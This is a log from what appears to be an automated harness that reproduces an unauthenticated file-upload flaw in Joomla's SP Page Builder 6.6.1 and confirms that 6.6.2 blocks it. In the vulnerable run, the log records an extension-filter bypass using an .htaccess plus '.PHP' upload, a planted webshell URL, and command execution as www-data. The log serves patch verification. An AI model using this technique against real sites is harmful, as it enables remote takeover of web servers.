===== Starting vuln environment ===== time="2026-07-07T22:21:35Z" level=warning msg="/data/pruva/project-cache/dee547fb-9c8f-4bad-9f16-44b0fd9984be/repo/compose_vuln/docker-compose.yml: `version` is obsolete" Network sppb_vuln_default Creating Network sppb_vuln_default Created Volume "sppb_vuln_db_data" Creating Volume "sppb_vuln_db_data" Created Volume "sppb_vuln_joomla_data" Creating Volume "sppb_vuln_joomla_data" Created Volume "sppb_vuln_sppb_zip" Creating Volume "sppb_vuln_sppb_zip" Created Container sppb_vuln-db-1 Creating Container sppb_vuln-init-1 Creating Container sppb_vuln-db-1 Created Container sppb_vuln-init-1 Created Container sppb_vuln-joomla-1 Creating Container sppb_vuln-joomla-1 Created Container sppb_vuln-init-1 Starting Container sppb_vuln-db-1 Starting Container sppb_vuln-init-1 Started Container sppb_vuln-db-1 Started Container sppb_vuln-init-1 Waiting Container sppb_vuln-db-1 Waiting Container sppb_vuln-init-1 Exited Container sppb_vuln-db-1 Healthy Container sppb_vuln-joomla-1 Starting Container sppb_vuln-joomla-1 Started Waiting for Joomla to be healthy... 2026-07-07T22:21:57+00:00 joomla status: starting 2026-07-07T22:22:02+00:00 joomla status: starting 2026-07-07T22:22:07+00:00 joomla status: starting 2026-07-07T22:22:12+00:00 joomla status: starting 2026-07-07T22:22:17+00:00 joomla status: healthy Raising PHP upload limits for the extension install... AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.28.0.2. Set the 'ServerName' directive globally to suppress this message Installing SP Page Builder via Joomla web installer... SP Page Builder 245 6.6.1 component Yes SP Page Builder 246 6.6.1 module Yes Running PoC against the vuln environment... PoC exit code for vuln: 0 PoC output: WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager, possibly rendering your system unusable. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv. Use the --root-user-action option if you know what you are doing and want to suppress this warning. [*] target : http://joomla [*] endpoint : index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon [*] try .php -> rejected by filter [*] try .php3 -> rejected by filter [*] try .php4 -> rejected by filter [*] try .php5 -> rejected by filter [*] try .php7 -> rejected by filter [*] try .pht -> rejected by filter [*] try .phtml -> rejected by filter [*] try .phar -> rejected by filter [*] try .PHP -> uploaded, not executed [*] try .pHp -> uploaded, not executed [*] try .Php -> uploaded, not executed [*] try .htaccess+.PHP -> EXECUTED [+] CODE EXECUTION CONFIRMED via '.htaccess+.PHP' (echo 7*6 -> 42) [+] webshell : http://joomla/media/com_sppagebuilder/assets/iconfont/icomfbpbq/fonts/fpxuvlh.PHP?t=fdhciaimrvwmyfvt&c= [*] running: id ------------------------------------------------------------ uid=33(www-data) gid=33(www-data) groups=33(www-data) ------------------------------------------------------------ [!] 4 artifact dir(s) left (re-run with --cleanup): /media/com_sppagebuilder/assets/iconfont/icocyemgt, /media/com_sppagebuilder/assets/iconfont/icorhzugy, /media/com_sppagebuilder/assets/iconfont/icouwbqcu, /media/com_sppagebuilder/assets/iconfont/icomfbpbq ===== Starting fixed environment ===== time="2026-07-07T22:22:32Z" level=warning msg="/data/pruva/project-cache/dee547fb-9c8f-4bad-9f16-44b0fd9984be/repo/compose_fixed/docker-compose.yml: `version` is obsolete" Network sppb_fixed_default Creating Network sppb_fixed_default Created Volume "sppb_fixed_db_data" Creating Volume "sppb_fixed_db_data" Created Volume "sppb_fixed_joomla_data" Creating Volume "sppb_fixed_joomla_data" Created Volume "sppb_fixed_sppb_zip" Creating Volume "sppb_fixed_sppb_zip" Created Container sppb_fixed-db-1 Creating Container sppb_fixed-init-1 Creating Container sppb_fixed-db-1 Created Container sppb_fixed-init-1 Created Container sppb_fixed-joomla-1 Creating Container sppb_fixed-joomla-1 Created Container sppb_fixed-init-1 Starting Container sppb_fixed-db-1 Starting Container sppb_fixed-init-1 Started Container sppb_fixed-db-1 Started Container sppb_fixed-init-1 Waiting Container sppb_fixed-db-1 Waiting Container sppb_fixed-init-1 Exited Container sppb_fixed-db-1 Healthy Container sppb_fixed-joomla-1 Starting Container sppb_fixed-joomla-1 Started Waiting for Joomla to be healthy... 2026-07-07T22:22:54+00:00 joomla status: starting 2026-07-07T22:22:59+00:00 joomla status: starting 2026-07-07T22:23:04+00:00 joomla status: starting 2026-07-07T22:23:09+00:00 joomla status: starting 2026-07-07T22:23:14+00:00 joomla status: healthy Raising PHP upload limits for the extension install... AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.28.0.2. Set the 'ServerName' directive globally to suppress this message Installing SP Page Builder via Joomla web installer... SP Page Builder 245 6.6.2 component Yes SP Page Builder 246 6.6.2 module Yes Running PoC against the fixed environment... PoC exit code for fixed: 1 PoC output: WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager, possibly rendering your system unusable. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv. Use the --root-user-action option if you know what you are doing and want to suppress this warning. [*] target : http://joomla [*] endpoint : index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon [*] try .php -> 403 'require admin' = patched [-] TARGET NOT VULNERABLE — SP Page Builder is patched (6.6.2+); the upload task now requires authenticated admin access. ===== RESULTS ===== vuln_ok=1 fixed_ok=1 Wrote runtime_manifest.json